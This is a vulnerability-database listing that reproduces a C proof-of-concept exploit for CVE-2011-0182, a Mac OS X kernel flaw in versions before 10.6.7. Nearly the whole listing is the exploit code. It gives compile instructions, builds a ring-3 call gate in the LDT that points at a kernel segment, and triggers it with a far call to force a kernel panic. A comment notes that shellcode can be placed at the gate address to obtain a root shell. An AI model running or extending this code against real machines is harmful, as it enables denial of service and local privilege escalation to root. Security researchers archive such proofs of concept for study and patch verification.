Lucene search

K
seebugRootSSV:72168
HistoryJul 01, 2014 - 12:00 a.m.

Mac OS X < 10.6.7 Kernel Panic Exploit

2014-07-0100:00:00
Root
www.seebug.org
12

0.0004 Low

EPSS

Percentile

0.4%

No description provided by source.


                                                /*
	Mac OS X &#60; 10.6.7 Kernel Panic Exploit
	CVE-2011-0182, Proof Of Concept Code

	Author	- Chanam Park (hkpco)
	Date	- 2011. 06
	Contact	- [email protected] , http://hkpco.kr , @hkpco

	Thanks for inspiration / x82, riaf.
*/
// Compile: gcc -o CVE-2011-0182_PoC CVE-2011-0182_PoC.c -m32

#include &#60;architecture/i386/table.h&#62;
#include &#60;i386/user_ldt.h&#62;

#include &#60;unistd.h&#62;

#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;string.h&#62;

void dummy_func( void ) { asm volatile( &#34;.byte 0xff&#34; ); }

int main( void )
{
	int ret;
	union ldt_entry cgate, cgate2;
	char dummy[128] = {0x00,};

	cgate.call_gate.offset00        = (unsigned int)dummy_func & 0xffff;
	cgate.call_gate.offset16        = ((unsigned int)dummy_func &#62;&#62; 16) & 0xffff;
	// You can input shellcode address value here to get the root shell.
	/* I got the root shell before. But, It was tested on Hackintosh for AMD. :-p
	   The normal system has a little different environment.
	   I have no time for this anymore because of my summer break is over.
	   So.. Good Luck! */

	cgate.call_gate.argcnt          = 0;
	cgate.call_gate.type            = 0xc; // DESC_CALL_GATE
	cgate.call_gate.dpl             = 3;
	cgate.call_gate.present         = 1;

	cgate.call_gate.seg.rpl         = 0;
	cgate.call_gate.seg.ti          = 0;
	cgate.call_gate.seg.index       = 16;

	cgate2.call_gate.offset00       = 0x0;

	cgate2.call_gate.seg.rpl        = 0;
	cgate2.call_gate.seg.ti         = 0;
	cgate2.call_gate.seg.index      = 0;

	cgate2.call_gate.argcnt         = 0;
	cgate2.call_gate.type           = 0;
	cgate2.call_gate.dpl            = 0;
	cgate2.call_gate.present        = 1;

	cgate2.call_gate.offset16       = 0x0;

	printf( &#34;// coded by Chanam Park (hkpco)\n\n&#34; );

	ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate, 1 );
	printf( &#34;Selector Number in LDT &#60;1&#62;: 0x%x\n&#34;, ret );

	ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate2, 1 );
	printf( &#34;Selector Number in LDT &#60;2&#62;: 0x%x\n\n&#34;, ret );

	printf( &#34;If you run this program, it can possibly cause \&#34;Kernel Panic\&#34;.\n&#34; );
	printf( &#34;The program will be continued when you input any value.\n&#34; );
	printf( &#34;-&#62; &#34; );
	fflush(stdout);
	scanf( &#34;%s&#34;, dummy );

	asm volatile( &#34;lcall $0x3f, $0x0&#34; );
	// Trigger

	return 0;
}